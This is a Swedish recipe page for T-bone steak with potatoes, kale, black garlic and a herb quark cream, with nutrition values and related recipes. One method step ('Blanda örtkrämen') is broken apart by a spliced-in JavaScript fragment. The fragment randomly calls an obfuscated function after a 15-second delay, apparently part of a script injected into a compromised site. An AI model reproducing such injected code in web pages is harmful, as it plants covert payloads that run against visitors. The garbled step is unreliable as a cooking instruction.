T-bone stek

2013-09-15
_SAM0284_SAM0288_SAM0289
  • Servings : 1-2
  • Prep Time : 10m
  • Cook Time : 20m
  • Ready In : 25m

Det går lika bra med vanlig vitlök. Men den ger en helt annan dimension på rätten.

Det är lite svårt att räkna ut energimängden på en T-bone som har ett stort ben som tar så stor del men har räknat på ett ungefär vad att en 400 grams stek kan ha ca 250 gram kött.

  • 200-400 T-bone
  • 150g 2 -3 potatis klyftade
  • 100g strimlad grönkål
  • 40g 1/2 skivad paprika
  • 30g skivad lök
  • 2st svarta vitlöksklyftor (vanlig går lika bra)
  • 10g stor matsked vittryffelolja
  • 5g smör
  • Malen svartpeppar
  • Örtsalt

Örtkräm

  • 50g kvarg
  • 1 tesked persilja
  • 1 tesked oregano
  • 1 tesked citronjuice
  • Nypa grillkrydda

Gör så här:

Sät igång ugnen på 200C grill

Låt T-bonen stå ute i rumstemperatur minst 30 minuter. Massera in en svartvitlöksklyfta på båda sidorna

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a örtkrämen

Lägg potatisen i en stekpanna med hälften av tryffeloljan, örtsalt och svartpeppar i ugnen i ca 20 minuter

När det är ca 10 minuter kvar, grilla T-bone steken på en grillpanna i ca 8-10 minuter med ca 2 minuter mellan varje vändning. Låt vila i ca 2 minuter, krydda med svartpeppar och örtsalt

När det är ca 5 minuter kvar, stek grönkål, lök och svartvitlök i en varm stekpanna med tryffelolja och smör i ca 4 minuter, tillsätt paprika tills sist, krydda med svartpeppar och örtsalt.

Servera.
 
Med 400g T-bone

Kalorier 655,3

Protein 67,6

Kolhydrater 35,6

Fett 25,3

 

Med 200g T-bone

Kalorier 501,6

Protein 40,4

Kolhydrater 35,6

Fett 20,6

Recipe Type: , Tags: , , , Ingredienser:
Medlemsbetyg

(0 / 5)

0 5 0
Betygsätt recept

0 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • _SAM0671

    Sremska korv med rostad gulbeta, potatis, sparris, spenat, svartvitlök med fetaostkräm

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

Näringssinnehåll

Informationen gäller per portion

  • 655,6 kcal

Recipe Comments

Post A Comment

Current ye@r *